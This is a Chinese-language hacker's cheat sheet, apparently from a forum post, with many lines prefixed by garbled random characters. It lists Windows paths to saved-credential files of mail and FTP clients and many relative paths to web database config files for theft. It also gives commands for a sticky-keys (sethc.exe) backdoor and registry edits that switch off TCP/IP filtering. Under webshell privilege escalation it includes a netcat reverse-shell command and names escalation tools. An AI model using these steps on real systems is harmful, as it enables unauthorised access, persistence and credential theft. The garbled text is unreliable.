2 `9 ~* c2 K/ b+ @1 }9 V* H1 Xc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
" k5 R5 M- v- Ac:\Program Files\Tencent\RTXServer\AppConfig.xml
( m8 q2 N! s6 Q8 kC:\Program Files\Foxmal\Foxmail.exe
$ I* Y& g) s* V' l' m1 DC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
& I; E+ S% a  M9 Y, jC:\Program Files\LeapFTP\LeapFTP.exe
$ u& L, C" g6 D  `c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
; F! Q0 \' {' D, t- m- z2 wC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
' Q) ^: e% U) @: x/ [" Hc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
8 d+ C+ J. o+ x+ n: p, p: `1 s/ Cc:\Program Files\tencent\QQGAME\readme.txt
+ B6 P' H# k8 v8 h4 d8 kC:\Program Files\StormII\Storm.exe
: {/ r) v9 U+ f8 r) u9 T
3.网站相对路径:
6 Q  Y2 v8 A+ c' F( z4 W1 `
/config.php
" w2 J! @' B% k$ V7 d' c' E+ B  D../../config.php
; z1 ~. R7 Q0 k) Q9 j../config.php
! d0 C5 d* }/ P/ T../../../config.php
/config.inc.php
./config.inc.php
8 N6 Q" N3 _, A1 w2 ~../../config.inc.php
" u5 @% k2 x; B2 h9 V" K../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
3 w$ d% j' ~$ o0 P../../../conn.php
8 E1 o7 Y3 P. {! R6 J2 A/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
+ w& o- K4 m9 u- Q2 x; Q/config.inc.php
; q8 e* y$ N* p, K3 |# Y% _./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
, h! _, ^# J* i, N4 y: u" v: k7 a../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
" n. d! Y/ I' ^6 Z. Q) P7 u4 Q../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
6 P: s) w0 @7 {, b! P2 i' v0 C+ B./config/conn.php
3 A$ v, N7 Y4 w../../config/conn.php
../config/conn.php
../../../config/conn.php
, H, x2 i) O  W1 a0 C- q; R0 M. u/config/conn.asp
  w) n& P0 r4 h6 U! E6 B: s2 [./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
( r* T# p! r7 x4 C" Y, F./config/config.inc.php
../../config/config.inc.php
1 g& j& d: u! `( f# T1 y6 {. v3 N../config/config.inc.php
- l1 v9 t" N% q& M  p: T& N../../../config/config.inc.php
/data/config.php
) M) s, e0 _/ P. R+ v: I../../data/config.php
" x: X# v: N3 M  f! o../data/config.php
7 f, T/ o! ~; B0 C$ ~+ t, i../../../data/config.php
/data/config.inc.php
./data/config.inc.php
7 m+ Y6 m) c. _  c../../data/config.inc.php
" o6 C: M3 A7 B7 n../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
. f* z3 w2 ]/ o9 v' _! y* _, T../../data/conn.php
../data/conn.php
. y: {$ ^7 x' R( [; \+ L../../../data/conn.php
/data/conn.asp
8 X# ]0 O  _' d/ i* U( Z./data/conn.asp
& W# p! H& X+ U, G  E; ^../../data/conn.asp
& z" G( c- W9 @+ u3 u* Y# T../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
) e6 N" ~0 [/ i./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
: p6 }$ W7 J0 c# w6 O/ C" a../../include/config.php
../include/config.php
! m% b& c1 M+ h/ R../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
7 {& U$ R9 I$ ^+ m/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
9 }8 z8 Z1 l' k  L1 X% o( |../../../include/conn.php
; r& ?" ]( H0 \( ?6 r) k/include/conn.asp
7 q2 t& N$ f) c/ G6 r7 _./include/conn.asp
6 Q$ X( D# I* d../../include/conn.asp
../include/conn.asp
# M1 F9 q& l9 r* C" X, r9 R../../../include/conn.asp
8 f' T1 N/ F5 F/ v' t, Y/include/config.inc.php
4 i$ X$ \5 W& A. y9 E) i9 ~./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
7 ^% i( Y8 z" H0 |) Y: ^5 ~../../inc/config.php
) z0 N' q, f( u5 r1 D+ W+ z5 J$ y../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
; Z" }! ^2 w8 b% E; l: I0 T../inc/config.inc.php
9 b0 W( p) [7 i7 L../../../inc/config.inc.php
8 j: Z9 \0 N; G; h/inc/conn.php
2 D; L7 R" G9 w./inc/conn.php
% T, G& R! F) A$ S& _../../inc/conn.php
../inc/conn.php
* n% A; q: n& C0 j) n, G9 R../../../inc/conn.php
' W3 W3 v1 f7 P4 T) e, Y; `/inc/conn.asp
./inc/conn.asp
) y9 C  p" g; p../../inc/conn.asp
4 O) X5 J2 v) T0 t5 j../inc/conn.asp
../../../inc/conn.asp
1 _, Z5 N& D' g/ ^/inc/config.inc.php
. Z" T9 x0 P( ]* n./inc/config.inc.php
% u) K. S2 a( Q& i% q/ z../../inc/config.inc.php
+ e/ G; U4 ?! W5 g9 K; M5 Z! X../inc/config.inc.php
: N2 J* e4 E: ~../../../inc/config.inc.php
/index.php
9 f2 U; H, l: E6 Q. j./index.php
../../index.php
../index.php
../../../index.php
/index.asp
8 K# O4 [% B9 o  Q" F. J7 k/ V./index.asp
../../index.asp
3 x, P) u8 v, n5 ]& ]+ d+ P, [6 D../index.asp
4 y  C1 S5 [1 `4 Q0 h3 V- X& B, T../../../index.asp
替换SHIFT后门
: t# z1 ?4 p0 u) m　attrib c:\windows\system32\sethc.exe -h -r -s

! b. ?6 j6 N5 s0 M1 ]' u9 i　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

0 ~4 m6 k6 ~7 I( k& f: I, P- L　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

, k0 Z0 z0 j; @6 a# ^( f! L　　attrib c:\windows\system32\sethc.exe +h +r +s
# }9 r/ f3 T2 }# d! ]2 D; U7 f
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
0 Q3 z0 s) u- i去除TCPIP筛选
3 `  t6 B. w; ]8 \9 R" y' KTCP/IP筛选在注册表里有三处，分别是：
9 C4 x$ V5 ^+ }4 n1 S4 ]$ d5 XHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
# q7 }+ Y9 X% [; h/ bHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
+ O$ O! a( x. J% ?. t8 _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
, M% S3 N: e# S! ]! Oregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

4 k5 L& \8 u8 B' ^: i' ]& ]然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
6 R& k- z7 v- H: s# o4 E& O" H, q( Q" \- }
再将以上三个文件分别用
regedit -s D:\a.reg
8 _  O. R5 s7 n2 Dregedit -s D:\b.reg
0 y2 b3 q0 L. ^* d' [( fregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
3 P" {( ?: ?, o( Acmd路径:
c:\windows\temp\cmd.exe
9 Y4 r! Y3 p* K. g$ i- s0 s& ?nc也在同目录下
例如反弹cmdshell：
  w5 e5 G+ v5 B/ @7 m* Z0 n) P: K"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
: Y1 v$ z% ]" N, t7 h( |+ e& H; y4 M通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功